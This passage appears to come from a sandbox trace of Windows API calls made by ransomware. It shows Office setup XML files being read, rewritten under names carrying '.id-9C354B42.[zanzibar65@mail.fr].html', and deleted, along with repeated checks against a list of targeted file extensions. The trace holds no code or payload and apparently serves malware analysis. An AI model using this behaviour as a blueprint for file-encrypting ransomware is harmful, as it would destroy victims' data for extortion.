controller\\visio.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.716] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.716] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.717] GetLastError () returned 0x0 [0040.717] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1861, lpOverlapped=0x0) returned 1 [0040.718] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0040.719] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.719] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.719] SetEndOfFile (hFile=0x1c4) returned 1 [0040.720] CloseHandle (hObject=0x1c4) returned 1 [0040.720] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.720] SetEndOfFile (hFile=0x184) returned 1 [0040.721] CloseHandle (hObject=0x184) returned 1 [0040.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.721] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString=".doc") returned 4 [0040.722] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString=".docx") returned 5 [0040.722] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.722] lstrlenW (lpString=".pdf") returned 4 [0040.722] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString=".xls") returned 4 [0040.722] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString=".xlsx") returned 5 [0040.722] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.722] lstrlenW (lpString=".ppt") returned 4 [0040.722] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString=".zip") returned 4 [0040.722] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.722] lstrlenW (lpString=".rar") returned 4 [0040.722] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString=".bz2") returned 4 [0040.722] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString=".7z") returned 3 [0040.722] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString=".dbf") returned 4 [0040.722] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString=".1cd") returned 4 [0040.722] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.722] lstrlenW (lpString=".jpg") returned 4 [0040.722] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString=".doc") returned 4 [0040.723] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString=".docx") returned 5 [0040.723] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.723] lstrlenW (lpString=".pdf") returned 4 [0040.723] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString=".xls") returned 4 [0040.723] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString=".xlsx") returned 5 [0040.723] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.723] lstrlenW (lpString=".ppt") returned 4 [0040.723] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString=".zip") returned 4 [0040.723] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.723] lstrlenW (lpString=".rar") returned 4 [0040.723] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString=".bz2") returned 4 [0040.723] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString=".7z") returned 3 [0040.723] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString=".dbf") returned 4 [0040.723] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString=".1cd") returned 4 [0040.723] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0040.723] lstrlenW (lpString=".jpg") returned 4 [0040.723] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.724] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.724] lstrlenW (lpString="VisioMUI.XML") returned 12 [0040.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.724] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9503) returned 1 [0040.725] CloseHandle (hObject=0x184) returned 1 [0040.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0040.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.725] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.725] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.727] GetLastError () returned 0x0 [0040.727] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x251f, lpOverlapped=0x0) returned 1 [0040.728] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2520, lpOverlapped=0x0) returned 1 [0040.729] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0040.729] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.729] SetEndOfFile (hFile=0x1c4) returned 1 [0040.729] CloseHandle (hObject=0x1c4) returned 1 [0040.730] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.730] SetEndOfFile (hFile=0x184) returned 1 [0040.731] CloseHandle (hObject=0x184) returned 1 [0040.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0040.731] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0040.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.731] lstrlenW (lpString=".doc") returned 4 [0040.732] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString=".docx") returned 5 [0040.732] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.732] lstrlenW (lpString=".pdf") returned 4 [0040.732] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString=".xls") returned 4 [0040.732] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString=".xlsx") returned 5 [0040.732] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.732] lstrlenW (lpString=".ppt") returned 4 [0040.732] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.732] lstrlenW (lpString=".zip") returned 4 [0040.732] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.732] lstrlenW (lpString=".rar") returned 4 [0040.732] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString=".bz2") returned 4 [0040.732] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString=".7z") returned 3 [0040.732] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.732] lstrlenW (lpString=".dbf") returned 4 [0040.732] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.732] lstrlenW (lpString=".1cd") returned 4 [0040.732] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.732] lstrlenW (lpString=".jpg") returned 4 [0040.732] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.733] lstrlenW (lpString=".doc") returned 4 [0040.733] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString=".docx") returned 5 [0040.733] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.733] lstrlenW (lpString=".pdf") returned 4 [0040.733] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString=".xls") returned 4 [0040.733] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString=".xlsx") returned 5 [0040.733] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.733] lstrlenW (lpString=".ppt") returned 4 [0040.733] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.733] lstrlenW (lpString=".zip") returned 4 [0040.733] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.733] lstrlenW (lpString=".rar") returned 4 [0040.733] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString=".bz2") returned 4 [0040.733] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString=".7z") returned 3 [0040.733] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.733] lstrlenW (lpString=".dbf") returned 4 [0040.733] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.733] lstrlenW (lpString=".1cd") returned 4 [0040.733] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0040.733] lstrlenW (lpString=".jpg") returned 4 [0040.733] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.733] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0040.734] lstrlenW (lpString="SETUP.XML") returned 9 [0040.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.734] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20577) returned 1 [0040.734] CloseHandle (hObject=0x184) returned 1 [0040.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0040.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0040.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.735] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.735] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0040.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0040.735] GetLastError () returned 0x0 [0040.735] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5061, lpOverlapped=0x0) returned 1 [0041.007] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5070, lpOverlapped=0x0) returned 1 [0041.008] ReadFile (in: hFile=0x184, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.009] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.009] SetEndOfFile (hFile=0x1c4) returned 1 [0041.009] CloseHandle (hObject=0x1c4) returned 1 [0041.010] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.010] SetEndOfFile (hFile=0x184) returned 1 [0041.011] CloseHandle (hObject=0x184) returned 1 [0041.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0041.011] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0041.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.011] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.011] lstrlenW (lpString=".doc") returned 4 [0041.011] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.011] lstrlenW (lpString=".docx") returned 5 [0041.011] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.012] lstrlenW (lpString=".pdf") returned 4 [0041.012] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString=".xls") returned 4 [0041.012] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString=".xlsx") returned 5 [0041.012] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.012] lstrlenW (lpString=".ppt") returned 4 [0041.012] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString=".zip") returned 4 [0041.012] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.012] lstrlenW (lpString=".rar") returned 4 [0041.012] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString=".bz2") returned 4 [0041.012] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString=".7z") returned 3 [0041.012] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString=".dbf") returned 4 [0041.012] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString=".1cd") returned 4 [0041.012] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString=".jpg") returned 4 [0041.012] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.012] lstrlenW (lpString=".doc") returned 4 [0041.012] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.012] lstrlenW (lpString=".docx") returned 5 [0041.013] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.013] lstrlenW (lpString=".pdf") returned 4 [0041.013] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString=".xls") returned 4 [0041.013] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString=".xlsx") returned 5 [0041.013] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.013] lstrlenW (lpString=".ppt") returned 4 [0041.013] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.013] lstrlenW (lpString=".zip") returned 4 [0041.013] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.013] lstrlenW (lpString=".rar") returned 4 [0041.013] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString=".bz2") returned 4 [0041.013] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString=".7z") returned 3 [0041.013] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.013] lstrlenW (lpString=".dbf") returned 4 [0041.013] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.013] lstrlenW (lpString=".1cd") returned 4 [0041.013] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0041.013] lstrlenW (lpString=".jpg") returned 4 [0041.013] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.013] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.013] lstrlenW 